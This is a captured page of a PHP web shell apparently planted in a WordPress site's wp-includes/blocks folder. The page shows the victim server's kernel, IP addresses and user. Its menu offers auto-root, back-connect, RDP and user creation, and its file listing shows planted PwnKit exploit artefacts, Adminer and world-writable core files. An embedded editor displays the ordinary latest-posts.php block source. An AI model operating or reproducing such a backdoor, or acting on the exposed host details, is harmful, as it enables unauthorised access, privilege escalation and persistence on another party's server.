Linux quad-clini-stageVM 5.4.0-1109-azure #115~18.04.1-Ubuntu SMP Mon May 22 20:06:37 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 10.2.0.4 | : 18.119.139.90
Cant Read [ /etc/named.conf ]
7.4.25
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
archives
[ DIR ]
drwxrwxrwx
audio
[ DIR ]
drwxrwxrwx
avatar
[ DIR ]
drwxrwxrwx
block
[ DIR ]
drwxrwxrwx
button
[ DIR ]
drwxrwxrwx
buttons
[ DIR ]
drwxrwxrwx
calendar
[ DIR ]
drwxrwxrwx
categories
[ DIR ]
drwxrwxrwx
code
[ DIR ]
drwxrwxrwx
column
[ DIR ]
drwxrwxrwx
columns
[ DIR ]
drwxrwxrwx
comment-author-name
[ DIR ]
drwxrwxrwx
comment-content
[ DIR ]
drwxrwxrwx
comment-date
[ DIR ]
drwxrwxrwx
comment-edit-link
[ DIR ]
drwxrwxrwx
comment-reply-link
[ DIR ]
drwxrwxrwx
comment-template
[ DIR ]
drwxrwxrwx
comments
[ DIR ]
drwxrwxrwx
comments-pagination
[ DIR ]
drwxrwxrwx
comments-pagination-next
[ DIR ]
drwxrwxrwx
comments-pagination-numbers
[ DIR ]
drwxrwxrwx
comments-pagination-previous
[ DIR ]
drwxrwxrwx
comments-title
[ DIR ]
drwxrwxrwx
cover
[ DIR ]
drwxrwxrwx
embed
[ DIR ]
drwxrwxrwx
file
[ DIR ]
drwxrwxrwx
freeform
[ DIR ]
drwxrwxrwx
gallery
[ DIR ]
drwxrwxrwx
group
[ DIR ]
drwxrwxrwx
heading
[ DIR ]
drwxrwxrwx
home-link
[ DIR ]
drwxrwxrwx
html
[ DIR ]
drwxrwxrwx
image
[ DIR ]
drwxrwxrwx
latest-comments
[ DIR ]
drwxrwxrwx
latest-posts
[ DIR ]
drwxrwxrwx
legacy-widget
[ DIR ]
drwxrwxrwx
list
[ DIR ]
drwxrwxrwx
list-item
[ DIR ]
drwxrwxrwx
loginout
[ DIR ]
drwxrwxrwx
media-text
[ DIR ]
drwxrwxrwx
missing
[ DIR ]
drwxrwxrwx
more
[ DIR ]
drwxrwxrwx
navigation
[ DIR ]
drwxrwxrwx
navigation-link
[ DIR ]
drwxrwxrwx
navigation-submenu
[ DIR ]
drwxrwxrwx
nextpage
[ DIR ]
drwxrwxrwx
page-list
[ DIR ]
drwxrwxrwx
page-list-item
[ DIR ]
drwxrwxrwx
paragraph
[ DIR ]
drwxrwxrwx
pattern
[ DIR ]
drwxrwxrwx
post-author
[ DIR ]
drwxrwxrwx
post-author-biography
[ DIR ]
drwxrwxrwx
post-author-name
[ DIR ]
drwxrwxrwx
post-comments-form
[ DIR ]
drwxrwxrwx
post-content
[ DIR ]
drwxrwxrwx
post-date
[ DIR ]
drwxrwxrwx
post-excerpt
[ DIR ]
drwxrwxrwx
post-featured-image
[ DIR ]
drwxrwxrwx
post-navigation-link
[ DIR ]
drwxrwxrwx
post-template
[ DIR ]
drwxrwxrwx
post-terms
[ DIR ]
drwxrwxrwx
post-title
[ DIR ]
drwxrwxrwx
preformatted
[ DIR ]
drwxrwxrwx
pullquote
[ DIR ]
drwxrwxrwx
query
[ DIR ]
drwxrwxrwx
query-no-results
[ DIR ]
drwxrwxrwx
query-pagination
[ DIR ]
drwxrwxrwx
query-pagination-next
[ DIR ]
drwxrwxrwx
query-pagination-numbers
[ DIR ]
drwxrwxrwx
query-pagination-previous
[ DIR ]
drwxrwxrwx
query-title
[ DIR ]
drwxrwxrwx
quote
[ DIR ]
drwxrwxrwx
read-more
[ DIR ]
drwxrwxrwx
rss
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
separator
[ DIR ]
drwxrwxrwx
shortcode
[ DIR ]
drwxrwxrwx
site-logo
[ DIR ]
drwxrwxrwx
site-tagline
[ DIR ]
drwxrwxrwx
site-title
[ DIR ]
drwxrwxrwx
social-link
[ DIR ]
drwxrwxrwx
social-links
[ DIR ]
drwxrwxrwx
spacer
[ DIR ]
drwxrwxrwx
table
[ DIR ]
drwxrwxrwx
tag-cloud
[ DIR ]
drwxrwxrwx
template-part
[ DIR ]
drwxrwxrwx
term-description
[ DIR ]
drwxrwxrwx
text-columns
[ DIR ]
drwxrwxrwx
verse
[ DIR ]
drwxrwxrwx
video
[ DIR ]
drwxrwxrwx
widget-group
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
archives.php
2.89
KB
-rwxrwxrwx
avatar.php
5.31
KB
-rwxrwxrwx
block.php
1.57
KB
-rwxrwxrwx
blocks-json.php
110.42
KB
-rwxrwxrwx
calendar.php
6.03
KB
-rwxrwxrwx
categories.php
2.78
KB
-rwxrwxrwx
comment-author-name.php
2.05
KB
-rwxrwxrwx
comment-content.php
2.36
KB
-rwxrwxrwx
comment-date.php
1.56
KB
-rwxrwxrwx
comment-edit-link.php
1.64
KB
-rwxrwxrwx
comment-reply-link.php
1.99
KB
-rwxrwxrwx
comment-template.php
3.58
KB
-rwxrwxrwx
comments-pagination-next.php
1.8
KB
-rwxrwxrwx
comments-pagination-numbers.ph...
1.56
KB
-rwxrwxrwx
comments-pagination-previous.p...
1.6
KB
-rwxrwxrwx
comments-pagination.php
1.13
KB
-rwxrwxrwx
comments-title.php
2.67
KB
-rwxrwxrwx
comments.php
6.5
KB
-rwxrwxrwx
cover.php
2.43
KB
-rwxrwxrwx
file.php
1.56
KB
-rwxrwxrwx
gallery.php
4.85
KB
-rwxrwxrwx
heading.php
1.23
KB
-rwxrwxrwx
home-link.php
4.74
KB
-rwxrwxrwx
image.php
1.26
KB
-rwxrwxrwx
index.php
779
B
-rwxrwxrwx
latest-comments.php
4.88
KB
-rwxrwxrwx
latest-posts.php
7.43
KB
-rwxrwxrwx
legacy-widget.php
3.81
KB
-rwxrwxrwx
loginout.php
1.35
KB
-rwxrwxrwx
navigation-link.php
11.51
KB
-rwxrwxrwx
navigation-submenu.php
10.77
KB
-rwxrwxrwx
navigation.php
30.54
KB
-rwxrwxrwx
page-list.php
13.14
KB
-rwxrwxrwx
pattern.php
921
B
-rwxrwxrwx
post-author-biography.php
1.41
KB
-rwxrwxrwx
post-author-name.php
1.71
KB
-rwxrwxrwx
post-author.php
2.5
KB
-rwxrwxrwx
post-comments-form.php
2.68
KB
-rwxrwxrwx
post-content.php
2.28
KB
-rwxrwxrwx
post-date.php
1.96
KB
-rwxrwxrwx
post-excerpt.php
2.56
KB
-rwxrwxrwx
post-featured-image.php
7.19
KB
-rwxrwxrwx
post-navigation-link.php
4.37
KB
-rwxrwxrwx
post-template.php
4.06
KB
-rwxrwxrwx
post-terms.php
3.21
KB
-rwxrwxrwx
post-title.php
1.81
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
query-no-results.php
1.76
KB
-rwxrwxrwx
query-pagination-next.php
2.66
KB
-rwxrwxrwx
query-pagination-numbers.php
3.73
KB
-rwxrwxrwx
query-pagination-previous.php
2.12
KB
-rwxrwxrwx
query-pagination.php
1.11
KB
-rwxrwxrwx
query-title.php
2.08
KB
-rwxrwxrwx
query.php
304
B
-rwxrwxrwx
read-more.php
1.75
KB
-rwxrwxrwx
require-dynamic-blocks.php
3.74
KB
-rwxrwxrwx
require-static-blocks.php
543
B
-rwxrwxrwx
rss.php
3.83
KB
-rwxrwxrwx
search.php
19.94
KB
-rwxrwxrwx
shortcode.php
697
B
-rwxrwxrwx
site-logo.php
5.67
KB
-rwxrwxrwx
site-tagline.php
994
B
-rwxrwxrwx
site-title.php
1.73
KB
-rwxrwxrwx
social-link.php
59.56
KB
-rwxrwxrwx
tag-cloud.php
1.37
KB
-rwxrwxrwx
template-part.php
9.43
KB
-rwxrwxrwx
term-description.php
1.27
KB
-rwxrwxrwx
widget-group.php
2.12
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : latest-posts.php
<?php /** * Server-side rendering of the `core/latest-posts` block. * * @package WordPress */ /** * The excerpt length set by the Latest Posts core block * set at render time and used by the block itself. * * @var int */ global $block_core_latest_posts_excerpt_length; $block_core_latest_posts_excerpt_length = 0; /** * Callback for the excerpt_length filter used by * the Latest Posts block at render time. * * @return int Returns the global $block_core_latest_posts_excerpt_length variable * to allow the excerpt_length filter respect the Latest Block setting. */ function block_core_latest_posts_get_excerpt_length() { global $block_core_latest_posts_excerpt_length; return $block_core_latest_posts_excerpt_length; } /** * Renders the `core/latest-posts` block on server. * * @param array $attributes The block attributes. * * @return string Returns the post content with latest posts added. */ function render_block_core_latest_posts( $attributes ) { global $post, $block_core_latest_posts_excerpt_length; $args = array( 'posts_per_page' => $attributes['postsToShow'], 'post_status' => 'publish', 'order' => $attributes['order'], 'orderby' => $attributes['orderBy'], 'ignore_sticky_posts' => true, 'no_found_rows' => true, ); $block_core_latest_posts_excerpt_length = $attributes['excerptLength']; add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); if ( isset( $attributes['categories'] ) ) { $args['category__in'] = array_column( $attributes['categories'], 'id' ); } if ( isset( $attributes['selectedAuthor'] ) ) { $args['author'] = $attributes['selectedAuthor']; } $query = new WP_Query(); $recent_posts = $query->query( $args ); if ( isset( $attributes['displayFeaturedImage'] ) && $attributes['displayFeaturedImage'] ) { update_post_thumbnail_cache( $query ); } $list_items_markup = ''; foreach ( $recent_posts as $post ) { $post_link = esc_url( get_permalink( $post ) ); $title = get_the_title( $post ); if ( ! $title ) { $title = __( '(no title)' ); } $list_items_markup .= '<li>'; if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) { $image_style = ''; if ( isset( $attributes['featuredImageSizeWidth'] ) ) { $image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] ); } if ( isset( $attributes['featuredImageSizeHeight'] ) ) { $image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] ); } $image_classes = 'wp-block-latest-posts__featured-image'; if ( isset( $attributes['featuredImageAlign'] ) ) { $image_classes .= ' align' . $attributes['featuredImageAlign']; } $featured_image = get_the_post_thumbnail( $post, $attributes['featuredImageSizeSlug'], array( 'style' => esc_attr( $image_style ), ) ); if ( $attributes['addLinkToFeaturedImage'] ) { $featured_image = sprintf( '<a href="%1$s" aria-label="%2$s">%3$s</a>', esc_url( $post_link ), esc_attr( $title ), $featured_image ); } $list_items_markup .= sprintf( '<div class="%1$s">%2$s</div>', esc_attr( $image_classes ), $featured_image ); } $list_items_markup .= sprintf( '<a class="wp-block-latest-posts__post-title" href="%1$s">%2$s</a>', esc_url( $post_link ), $title ); if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $author_display_name = get_the_author_meta( 'display_name', $post->post_author ); /* translators: byline. %s: current author. */ $byline = sprintf( __( 'by %s' ), $author_display_name ); if ( ! empty( $author_display_name ) ) { $list_items_markup .= sprintf( '<div class="wp-block-latest-posts__post-author">%1$s</div>', $byline ); } } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $list_items_markup .= sprintf( '<time datetime="%1$s" class="wp-block-latest-posts__post-date">%2$s</time>', esc_attr( get_the_date( 'c', $post ) ), get_the_date( '', $post ) ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) { $trimmed_excerpt = get_the_excerpt( $post ); if ( post_password_required( $post ) ) { $trimmed_excerpt = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '<div class="wp-block-latest-posts__post-excerpt">%1$s</div>', $trimmed_excerpt ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) { $post_content = html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) ); if ( post_password_required( $post ) ) { $post_content = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '<div class="wp-block-latest-posts__post-full-content">%1$s</div>', wp_kses_post( $post_content ) ); } $list_items_markup .= "</li>\n"; } remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); $classes = array( 'wp-block-latest-posts__list' ); if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) { $classes[] = 'is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) { $classes[] = 'columns-' . $attributes['columns']; } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $classes[] = 'has-dates'; } if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $classes[] = 'has-author'; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<ul %1$s>%2$s</ul>', $wrapper_attributes, $list_items_markup ); } /** * Registers the `core/latest-posts` block on server. */ function register_block_core_latest_posts() { register_block_type_from_metadata( __DIR__ . '/latest-posts', array( 'render_callback' => 'render_block_core_latest_posts', ) ); } add_action( 'init', 'register_block_core_latest_posts' ); /** * Handles outdated versions of the `core/latest-posts` block by converting * attribute `categories` from a numeric string to an array with key `id`. * * This is done to accommodate the changes introduced in #20781 that sought to * add support for multiple categories to the block. However, given that this * block is dynamic, the usual provisions for block migration are insufficient, * as they only act when a block is loaded in the editor. * * TODO: Remove when and if the bottom client-side deprecation for this block * is removed. * * @param array $block A single parsed block object. * * @return array The migrated block object. */ function block_core_latest_posts_migrate_categories( $block ) { if ( 'core/latest-posts' === $block['blockName'] && ! empty( $block['attrs']['categories'] ) && is_string( $block['attrs']['categories'] ) ) { $block['attrs']['categories'] = array( array( 'id' => absint( $block['attrs']['categories'] ) ), ); } return $block; } add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' );
Close